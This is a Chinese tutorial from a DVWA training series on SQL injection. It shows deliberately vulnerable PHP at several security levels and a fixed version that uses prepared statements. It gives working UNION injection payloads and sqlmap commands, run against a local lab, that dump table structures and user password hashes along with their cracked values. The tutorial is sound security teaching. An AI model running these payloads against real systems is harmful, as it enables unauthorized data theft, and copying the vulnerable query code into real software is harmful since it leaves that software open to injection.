DVWA 黑客攻防演练(八)SQL 注入 SQL Injection

web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段。如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使得SQL注入变得更困难,同时也让开发者对SQL注入漏洞放松警惕,甚至一些开发者是不知道有SQL注入这回事的。下面通过 dvwa 一起来了解下SQL注入的漏洞吧。
低级
界面如下

功能很简单,就是输入 user Id,就显示对应的用户的 FirstName 和 SurName。 代码如下。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
Hacker 此时输入 1' or '1' = '1'

就将 users 表数据全部拿到了。。。 因为 sql 变成了
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'`
而 or 后面 '1' = '1' 永真,所以所有都符合这个条件了,就会把所有数据都能出来了。
中级

代码如下
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
//...
}
?>
多了个下拉选择。。。火狐或者 burp suite 改参数就行了。麻烦在于代码中 mysql_real_escape_string 会对这 5 个字符转义:
- '
- "
- \r
- \n
- NULL
- Control-Z
但也仅仅对这5个字符转义,而从代码可以看到,代码没有检验参数。所以我们可以使用 union 关键字。

结果如下

高级

高级的界面看得我一脸懵逼,为什么要弹出一个框,为什么要用 session?满脸问号 再看看代码。
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
//...
}
?>
还是不明白为什么要用 session,而这里主要是用LIMIT 1 限制了输出数据的长度。
用注释符号的方式就可攻破了

不可能
- anti-token 机制防 CSRF 攻击
- 检查 id 是不是数字
- 使用 prepare 预编译再绑定变量a
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注入的思路
如果存在一个注入的漏洞,攻击者会如何攻击呢?以低级代码为例
获取当前数据库
输入 ' UNION ALL SELECT NULL, database()#
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';
结果:
ID: ' UNION ALL SELECT NULL, database()#
First name:
Surname: dvwa
正在使用数据库是 dvwa
获取数据库所有的表格
输入 ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
结果:
ID: ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
First name:
Surname: guestbook,users
获取表格的所有字段
输入 ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
结果:
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: user_id
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: first_name
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: last_name
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: user
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: password
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: avatar
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: last_login
ID: ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
First name:
Surname: failed_login
获取用户及密码
输入 ' UNION select user_id,password from users#
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION select user_id,password from users#
结果
ID: ' UNION select user_id,password from users#
First name: 1
Surname: e10adc3949ba59abbe56e057f20f883e
ID: ' UNION select user_id,password from users#
First name: 2
Surname: e99a18c428cb38d5f260853678922e03
ID: ' UNION select user_id,password from users#
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' UNION select user_id,password from users#
First name: 4
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' UNION select user_id,password from users#
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
sqlmap
自己一个个尝试比较麻烦,可以用 sqlmap 帮你扫一下,检查下sql注入的漏洞。不可能级别因为有 anti-token 的机制,就比较麻烦了,所以这里会尝试中级的代码(有转义字符串的)。 Kali Linux 在终端输入sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 其他的可以 python sqlmap.py -u "http://192.168.31.166:5678/vulnerabilities/sqli" --data="id=1&Submit=Submit" --cookie="PHPSESSID=22fgnbd9g434ds8cof95l487g0; security=medium" 结果如下,

意思是,可以用 boolean-base ,error-base 等几种类型注入
再按照上面的流程来注入
获取所有的数据库
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表
获取 dvwa 所有的表
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
获取users表的所有字段
这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
获取用户及密码信息
比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且还问你是否要用密码字典爆破,简直优秀,结果如下。
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+---------++---------++---------++---------++---------++---------++---------++---------++---------+
DVWA 黑客攻防演练(八)SQL 注入 SQL Injection的更多相关文章
- DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)
上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...
- DVWA 黑客攻防演练(一) 介绍及安装
原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...
- DVWA 黑客攻防演练(二)暴力破解 Brute Froce
暴力破解,简称"爆破".不要以为没人会对一些小站爆破.实现上我以前用 wordpress 搭建一个博客开始就有人对我的站点进行爆破.这是装了 WordfenceWAF 插件后的统计 ...
- DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA
之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...
- DVWA 黑客攻防演练(三)命令行注入(Command Injection)
文章会讨论 DVWA 中低.中.高.不可能级别的命令行注入 这里的需求是在服务器上可以 ping 一下其他的服务器 低级 Hacker 试下输入 192.168.31.130; cat /etc/ap ...
- DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery
这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...
- DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting
上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...
- DVWA 黑客攻防演练(五)文件上传漏洞 File Upload
说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...
- DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks
新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 " ...
随机推荐
- [Swift]LeetCode97. 交错字符串 | Interleaving String
Given s1, s2, s3, find whether s3 is formed by the interleaving of s1 and s2. Example 1: Input: s1 = ...
- 洛谷P2089烤鸡
题目链接:https://www.luogu.org/problemnew/show/P2089 题目详情: 题目背景 猪猪hanke得到了一只鸡 题目描述 猪猪Hanke特别喜欢吃烤鸡(本是同畜牲, ...
- [Abp 源码分析]五、系统设置
0.简要介绍 Abp 本身有两种设置,一种就是 上一篇文章 所介绍的模块配置 Configuration,该配置主要用于一些复杂的数据类型设置,不仅仅是字符串,也有可能是一些 C# 运行时的一些变量. ...
- C# 当中 LINQ 的常规用法(Lambda 方式)
仅以本篇博文记录 LINQ 相关操作的基本知识,原型参考自 MSDN 相关知识,中间加以自己的理解与 DEMO. 1. IEnuemrable<T>.Select() Select 方法比 ...
- Python内置函数(17)——divmod
英文文档: divmod(a, b) Take two (non complex) numbers as arguments and return a pair of numbers consisti ...
- navicat for mysql 链接时报错:1251-Client does not support authentication protocol requested by serve
navicat for mysql 链接时报错:1251-Client does not support authentication protocol requested by serve 解决方法 ...
- 『数组的最大代价 贪心优化DP』
数组的最大代价(51nod 1270) Description 数组A包含N个元素A1, A2......AN.数组B包含N个元素B1, B2......BN.并且数组A中的每一个元素Ai,都满足1 ...
- 《深入理解Java虚拟机》-----第2章 Java内存区域与内存溢出异常
2.1 概述 对于从事C.C++程序开发的开发人员来说,在内存管理领域,他们即是拥有最高权力的皇帝又是执行最基础工作的劳动人民——拥有每一个对象的“所有权”,又担负着每一个对象生命开始到终结的维护责任 ...
- RabbitMQ学习笔记(四) Routing
新的场景 在我们学习了RabbitMQ的发布与订阅之后,我们很容易就可以完成一个简单的消息群发器. 使用这个消息群发器,所有的消费者程序实例都会接收到相同的消息信息,从而实现广播的效果. 但是这种广播 ...
- Error: Default interface methods are only supported starting with Android N (--min-api 24): java.io.InputStream org.apache.poi.sl.usermodel.ObjectShape.readObjectData()
项目运行的时候,如果报错 Error: Default interface methods are only supported starting with Android N (--min-api ...